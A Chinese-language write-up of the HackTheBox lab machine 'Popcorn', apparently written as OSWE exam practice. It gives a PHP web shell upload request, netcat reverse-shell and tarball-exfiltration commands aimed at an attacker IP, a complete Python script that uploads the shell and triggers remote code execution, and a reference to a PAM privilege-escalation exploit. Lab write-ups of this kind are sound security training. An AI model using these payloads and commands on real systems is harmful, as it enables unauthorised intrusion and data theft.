本文最后更新于 2026年3月13日 下午
一、靶场详情
靶场名称:

靶场地址:
https://app.hackthebox.com/machines/Popcorn
靶场环境连接说明:
演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。
二、思路总结
突破边界(获取用户旗帜):
- Torrent Hoster 未授权任意文件上传漏洞获取系统 www-data 用户权限。
- 用户家目录得到旗帜:user.txt。
权限提升(获取管理员旗帜):
- Linux PAM 本地提权漏洞(CVE-2010-0832)获取系统 root 用户权限。
- 管理员家目录得到旗帜:root.txt
三、靶场攻击演示
3.1 靶场信息收集
注意: OSWE 考试过程中不需要对靶机进行服务信息收集,考试环境会直接提供相关信息。考试环境通常包含三台靶机:一台是最终需要获取 flag 的目标靶机,一台是与目标靶机环境完全相同的克隆靶机,用于漏洞分析和调试,最后一台是用于运行 PoC 的靶机,以避免因网络原因导致例如 SQL 盲注 等利用过程过慢,可以在第三台靶机上执行 PoC。
对于 HackTheBox 平台靶机我们依然需要执行 nmap 信息搜集。
TCP 端口扫描(端口和端口服务信息):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| sudo nmap -p- 10.129.3.228 --min-rate=2000 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
sudo nmap -p22,80 -sCV 10.129.3.228 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA) |_ 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA) 80/tcp open http Apache httpd 2.2.12 |_http-server-header: Apache/2.2.12 (Ubuntu) |_http-title: Did not follow redirect to http://popcorn.htb/ Service Info: Host: popcorn.hackthebox.gr; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
UDP 端口扫描(端口和端口服务信息):
1 2
| # 扫描未发现可利用 UDP 端口 sudo nmap -p- -sU 10.129.3.228 --min-rate=2000
|
由此得出结论:
系统为 Linux 环境,开放有 HTTP、SSH 服务。
3.2 渗透测试突破边界
3.2.1 Torrent Hoster 未授权任意文件上传漏洞
根据 nmap 扫描结果添加靶机本地域名解析。
1
| echo "10.129.3.228\tpopcorn.htb" | sudo tee -a /etc/hosts
|
目录枚举过程可发现 torrent 路径。
1
| feroxbuster -u http://popcorn.htb -x html,php --limit-bars 4 --no-state
|

访问 torrent 会跳转至 Torrent Hoster 应用。

该应用历史存在未授权任意文件上传漏洞,意味着我们可以在前台上传任意文件至服务器。
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| POST /torrent/upload_file.php?mode=upload&id=shell HTTP/1.1 Host: popcorn.htb Cache-Control: max-age=0 Sec-Ch-Ua: "Google Chrome";v="145", "Not=A?Brand";v="8", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Content-Type: multipart/form-data; boundary=---------------------------557387531096085749533931648 Connection: close Content-Length: 369
-----------------------------557387531096085749533931648 Content-Disposition: form-data; name="file"; filename="test.php" Content-Type: image/jpeg
<?php system($_GET['c']);?> -----------------------------557387531096085749533931648 Content-Disposition: form-data; name="submit"
Submit Screenshot -----------------------------557387531096085749533931648--
|
通过 burp 构建如上请求,成功将 shell.php 上传至 upload 目录。

1
| http://popcorn.htb/torrent/upload/shell.php?c=pwd
|

获取反弹 shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| nc -lvnp 4444
http://popcorn.htb/torrent/upload/shell.php?c=nc 10.10.16.145 4444 -e /bin/bash
bash python -c 'import pty;pty.spawn("/bin/bash")' Control + z stty raw -echo;fg export SHELL=/bin/bash export TERM=screen stty rows 33 columns 157
|

3.2.2 用户旗帜获取

3.2.3 源码分析
注意: OSWE 考试中不允许将代码下载至本地,考试中需要在调试主机分析代码。
将源码打包至 kali。
1 2 3 4 5 6 7 8
| nc -lvnp 4444 > 1.tar.gz
tar -zcvf 1.tar.gz /var/www cat 1.tar.gz | nc 10.10.16.145 4444
|
文件重命名漏洞:
1
| /var/www/rename/index.php
|

漏洞分析: 不安全的使用 rename 方法,如果应用程序权限足够高,利用该接口可修改 /etc/passwd 文件。
未授权任意文件上传漏洞:
1
| /var/www/torrent/upload_file.php
|


漏洞分析: 后端通过 $_REQYEST 方法接收非登录用户输入的 ID,而且没有对 ID 做任何限制,接收到 ID 后只要上传的文件满足图片格式且小于 100000 字节,就可以直接写入 upload 目录,文件名以用户传入的 ID + 文件真实后缀命名。
注意: OSWE 考试要求考生手动编写漏洞利用的自动化脚本,并通过执行脚本实现一键 RCE。为了减少出错的可能,建议脚本尽量保持简洁。在 Kali 上使用 nc 监听反弹 shell,随后运行自动化脚本,即可获得目标靶机的 shell。
1 2 3
| nc -lvnp 4444 python3 rce.py
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import requests
def rce(rce_urls, commands, proxys): parm = { "cmd": commands } requests.get(rce_urls, params=parm, proxies=proxys)
def upload(proxys): target = "http://popcorn.htb/" web_shell = "<?php system($_GET['cmd']);?>" web_shell_name = "520.php" parm = { "mode": "upload", "id": "520" } file = { "file": (web_shell_name, web_shell, "image/jpeg") } data = { "submit": "Submit Screenshot" } req = requests.post(url=target + "torrent/upload_file.php", params=parm, files=file, data=data, proxies=proxys) if "Upload Completed." in req.text: shell_url = f"{target}torrent/upload/{web_shell_name}" print(f"upload ok!\nurl: {shell_url}") return shell_url else: print("upload fail!") return False
if __name__ == "__main__": proxy = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } command = "nc 10.10.16.145 4444 -e /bin/bash" rce_url = upload(proxy) if rce_url: rce(rce_url, command, proxy) else: pass
|
3.3 提权获取系统最高权限
3.3.1 Linux PAM 本地提权漏洞(CVE-2010-0832)
靶机系统非常古老,通过 Linux PAM 本地提权漏洞可提升至 root 权限。
1
| https://www.exploit-db.com/exploits/14339
|

3.3.2 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨